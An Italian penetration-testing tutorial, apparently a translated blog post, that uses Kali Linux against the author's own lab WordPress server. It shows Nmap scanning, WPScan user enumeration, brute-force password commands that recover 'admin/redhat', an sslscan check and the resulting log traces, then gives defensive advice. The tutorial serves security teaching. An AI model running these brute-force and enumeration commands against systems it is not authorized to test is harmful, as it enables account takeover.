La moltitudine di violazioni ben pubblicizzate delle grandi società di consumatori sottolinea l'importanza fondamentale della gestione della sicurezza del sistema. Fortunatamente, ci sono molte applicazioni diverse che aiutano a proteggere i sistemi informatici. Uno è Kali, una distribuzione Linux sviluppata per test di sicurezza e di penetrazione. Questo articolo mostra come utilizzare Kali Linux per indagare sul tuo sistema per trovare punti deboli.
Kali installa molti strumenti, tutti open source, e averli installati per impostazione predefinita semplifica le cose.
I sistemi che userò in questo tutorial sono:
kali.usersys.redhat.com
:Questo è il sistema in cui avvierò le scansioni e gli attacchi. Dispone di 30 GB di memoria e sei CPU virtualizzate (vCPU).vulnerable.usersys.redhat.com
:Questo è un sistema Red Hat Enterprise Linux 8 che sarà l'obiettivo. Ha 16 GB di memoria e sei vCPU. Questo è un sistema relativamente aggiornato, ma alcuni pacchetti potrebbero non essere aggiornati.- Questo sistema include anche
httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64
,mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64
,tigervnc-server-1.9.0-15.el8_1.x86_64
,vsftpd-3.0.3-32.el8.x86_64
e WordPress versione 5.6.1.
Ho incluso le specifiche hardware di cui sopra perché alcune di queste attività sono piuttosto impegnative, specialmente per la CPU del sistema di destinazione quando si esegue WordPress Security Scanner (WPScan).
Esamina il tuo sistema
Ho iniziato la mia indagine con una scansione Nmap di base sul mio sistema di destinazione. (Puoi approfondire Nmap leggendo Usare i risultati di Nmap per rafforzare i sistemi Linux.) Una scansione di Nmap è un modo rapido per avere una panoramica di quali porte e servizi sono visibili dal sistema che avvia la scansione di Nmap.
Questa scansione predefinita mostra che ci sono diverse porte aperte potenzialmente interessanti. In realtà, qualsiasi porta aperta è probabilmente interessante perché potrebbe essere un modo per un utente malintenzionato di violare la tua rete. In questo esempio, le porte 21, 22, 80 e 443 sono utili da scansionare perché sono servizi comunemente usati. In questa fase iniziale, sto semplicemente facendo un lavoro di ricognizione e sto cercando di ottenere quante più informazioni possibili sul sistema di destinazione.
Voglio esaminare la porta 80 con Nmap, quindi uso il -p 80
argomento per guardare la porta 80 e -A
per ottenere informazioni come il sistema operativo e la versione dell'applicazione.
Alcune delle linee chiave in questo output sono:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1
Dato che ora so che si tratta di un server WordPress, posso utilizzare WPScan per ottenere informazioni sui potenziali punti deboli. Una buona indagine da eseguire è cercare di trovare alcuni nomi utente. Usando --enumerate u
dice a WPScan di cercare utenti nell'istanza di WordPress. Ad esempio:
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Questo mostra che ci sono due utenti:admin
e pgervase
. Proverò a indovinare la password per admin
utilizzando un dizionario delle password, che è un file di testo con molte possibili password. Il dizionario che ho usato era 37G e aveva 3.543.076.137 righe.
Come se ci fossero più editor di testo, browser web e altre applicazioni tra cui scegliere, ci sono più strumenti disponibili per lanciare attacchi con password. Ecco due comandi di esempio che utilizzano Nmap e WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Questo script Nmap è uno dei tanti possibili script che avrei potuto utilizzare e la scansione dell'URL con WPScan è solo una delle tante attività possibili che questo strumento può svolgere. Puoi decidere quale preferisci utilizzare
Questo esempio di WPScan mostra la password alla fine del file:
┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <========================================================= > (3231 / 6462) 50.00% ETA: ??:??:??
[SUCCESS] - admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02
La sezione Combinazioni valide trovate verso la fine contiene il nome utente e la password dell'amministratore. Ci sono voluti solo due minuti per passare attraverso 3.231 righe.
Ho un altro file di dizionario con 3.238.659.984 voci univoche, che richiederebbero molto più tempo e lascerebbero molte più prove.
L'uso di Nmap produce un risultato molto più veloce:
┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat - Valid credentials <<<<<<<
| pgervase:redhat - Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
Tuttavia, l'esecuzione di una scansione come questa può lasciare una marea di messaggi di registrazione HTTPD sul sistema di destinazione:
10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
Per ottenere informazioni sul server HTTPS trovato nella mia scansione iniziale di Nmap, ho usato sslscan
comando:
┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
Questo mostra informazioni sui protocolli SSL abilitati e, più in basso nell'output, informazioni sulla vulnerabilità Heartbleed:
Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
Suggerimenti per prevenire o mitigare gli attaccanti
Più risorse Linux
- Comandi Linux cheat sheet
- Cheat sheet sui comandi avanzati di Linux
- Corso online gratuito:Panoramica tecnica RHEL
- Cheat sheet della rete Linux
- Cheat sheet di SELinux
- Cheat sheet dei comandi comuni di Linux
- Cosa sono i container Linux?
- I nostri ultimi articoli su Linux
Ci sono molti modi per difendere i tuoi sistemi dalla moltitudine di attaccanti là fuori. Alcuni punti chiave sono:
- Conosci i tuoi sistemi: Ciò include sapere quali porte sono aperte, quali porte dovrebbero essere aperte, chi dovrebbe essere in grado di vedere quelle porte aperte e qual è il traffico previsto su tali servizi. Nmap è un ottimo strumento per conoscere i sistemi in rete.
- Utilizza le best practice attuali: Quella che oggi è considerata una best practice potrebbe non essere una best practice in futuro. In qualità di amministratore, è importante rimanere aggiornato sulle tendenze nel regno di infosec.
- Sapere come utilizzare i tuoi prodotti: Ad esempio, invece di lasciare che un utente malintenzionato martelli continuamente il tuo sistema WordPress, blocca il suo indirizzo IP e limita il numero di volte in cui può tentare di accedere prima di essere bloccato. Bloccare l'indirizzo IP potrebbe non essere così utile nel mondo reale perché è probabile che gli aggressori utilizzino sistemi compromessi per lanciare attacchi. Tuttavia, è un'impostazione facile da abilitare e potrebbe bloccare alcuni attacchi.
- Mantieni e verifica backup validi: Se un utente malintenzionato comprende uno o più dei tuoi sistemi, essere in grado di ricostruire da backup noti buoni e puliti potrebbe far risparmiare un sacco di tempo e denaro.
- Controlla i tuoi log: Come mostrano gli esempi precedenti, i comandi di scansione e penetrazione possono lasciare molti registri che indicano che un utente malintenzionato sta prendendo di mira il sistema. Se li noti, puoi intraprendere un'azione preventiva per mitigare il rischio.
- Aggiorna i tuoi sistemi, le loro applicazioni ed eventuali moduli aggiuntivi: Come spiega la pubblicazione speciale NIST 800-40r3, "le patch sono solitamente il modo più efficace per mitigare le vulnerabilità dei difetti del software e spesso sono l'unica soluzione completamente efficace".
- Utilizza gli strumenti forniti dai tuoi fornitori: I fornitori hanno diversi strumenti per aiutarti a mantenere i loro sistemi, quindi assicurati di trarne vantaggio. Ad esempio, Red Hat Insights, incluso negli abbonamenti Red Hat Enterprise Linux, può aiutarti a ottimizzare i tuoi sistemi e avvisarti di potenziali minacce alla sicurezza.
Ulteriori informazioni
Questa introduzione agli strumenti di sicurezza e a come usarli è solo la punta dell'iceberg. Per approfondire, potresti voler esaminare le seguenti risorse:
- Armitage, uno strumento open source per la gestione degli attacchi
- Centro sicurezza prodotti Red Hat
- Canale di sicurezza di Red Hat
- Pagina sulla sicurezza informatica del NIST
- Utilizzare i risultati di Nmap per rafforzare i sistemi Linux